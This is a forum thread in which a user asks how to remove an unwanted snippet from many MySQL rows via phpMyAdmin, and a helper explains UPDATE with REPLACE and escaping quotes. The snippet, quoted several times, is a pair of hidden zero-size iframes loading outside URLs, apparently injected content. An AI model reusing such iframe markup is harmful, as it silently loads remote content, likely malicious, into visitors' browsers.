In my sql database, there are some phrasses and i want to delete it, but its in too many entries. how to remove them?

I have tried to add this command into SQL query field:

delete from table_where_are_the_phrasses where the_column_where_are_the_phrasses_located like %phrasse to remove...%
but this returns error:

: Missing parameter: import_type (FAQ 2.8)
: Missing parameter: format (FAQ 2.8)

----
Definition in manual:

2.8 I get "Missing parameters" errors, what can I do?

Here are a few points to check:
In config.inc.php, try to leave the $cfg['PmaAbsoluteUri'] directive empty. See also FAQ 4.7.
Maybe you have a broken PHP installation or you need to upgrade your Zend Optimizer. See http://bugs.php.net/bug.php?id=31134.
If you are using Hardened PHP with the ini directive varfilter.max_request_variables set to the default (200) or another low value, you could get this error if your table has a high number of columns. Adjust this setting accordingly. (Thanks to Klaus Dorninger for the hint).
In the php.ini directive arg_separator.input, a value of ";" will cause this error. Replace it with "&;".


What should i do please?

do you want to delete the whole row where the phrase is found or simply remove the phrase from the column ?

and what are you using to run the query ?

Originally Posted by chrishirst

do you want to delete the whole row where the phrase is found or simply remove the phrase from the column ?

and what are you using to run the query ?

Thank you for your reply!
Im using PhpMyadmin for running the query. (SQL tab)
I need to remove only phrase from the column.

It's an update query needed in that case.

UPDATE table SET field = REPLACE(field,"phrase","") ;

I have tried to execute it and it returned an syntax error, because the phrase i need to replace contains " character... (a href="http://...)

UPDATE table SET field = REPLACE(field,"phrase","") ;

You need to "escape" the quotemarks with a "\" to indicate a literal character value rather than a delimiter.

... REPLACE(field,"href=\"http:// ... \"

I have entered this:
UPDATE table SET field = REPLACE(small_text,"<iframe src=\"http://1.1.1.1/ttf/sss.php" height="0" width="0"></iframe><iframe src="http://www.xxx.com/search/settings/count/index.php" height="0" width="0"></iframe>\","") ;
small_text is a field name where are the phrases.
<iframe......> is the code i need to remove

It returned following error:

Error

There seems to be an error in your SQL query. The MySQL server error output below, if there is any, may also help you in diagnosing the problem
ERROR: Unknown Punctuation String @ 113
STR: ></
SQL: UPDATE table SET field = REPLACE(small_text,"<iframe src=\"http://1.1.1.1/ttf/sss.php" height="0" width="0"></iframe><iframe src="http://www.xxx.com/search/settings/count/index.php" height="0" width="0"></iframe>\","")


SQL query:

UPDATE table SET field = REPLACE(small_text,"<iframe src=\"http://1.1.1.1/ttf/sss.php" height="0" width="0"></iframe><iframe src="http://www.xxx.com/search/settings/count/index.php" height="0" width="0"></iframe>\","")

MySQL said:
#1064 - You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near 'table SET field = REPLACE(small_text,"<iframe src=\"http://1.1

And is the table you are trying to update called "table" is is it more likely to be called something else ???

BTW.
You need to escape ALL the quotemarks in the string. APART from the one that marks the end of the string.

New form:

UPDATE hm2_news SET field = REPLACE(small_text,"<iframe src=\"http://1.1.1.1/ttf/sss.php\" height=\"0\" width=\"0\"></iframe><iframe src=\"http://www.xxx.com/search/settings/count/index.php\" height=\"0\" width=\"0\"></iframe>","");

hm2_news is a table name, small_text is a field name. In the table, there are many entries and in main part in small_text field there is that phrase i need to remove.

It returned blank page with this:
: Missing parameter: import_type (FAQ 2.8)
: Missing parameter: format (FAQ 2.8)

This is the info i got from the sql manual regarding this message:
2.8 I get "Missing parameters" errors, what can I do?

Here are a few points to check:
In config.inc.php, try to leave the $cfg['PmaAbsoluteUri'] directive empty. See also FAQ 4.7.
Maybe you have a broken PHP installation or you need to upgrade your Zend Optimizer. See http://bugs.php.net/bug.php?id=31134.
If you are using Hardened PHP with the ini directive varfilter.max_request_variables set to the default (200) or another low value, you could get this error if your table has a high number of columns. Adjust this setting accordingly. (Thanks to Klaus Dorninger for the hint).
In the php.ini directive arg_separator.input, a value of ";" will cause this error. Replace it with "&;".

Perhaps try changing SET field to SET small_text.

.....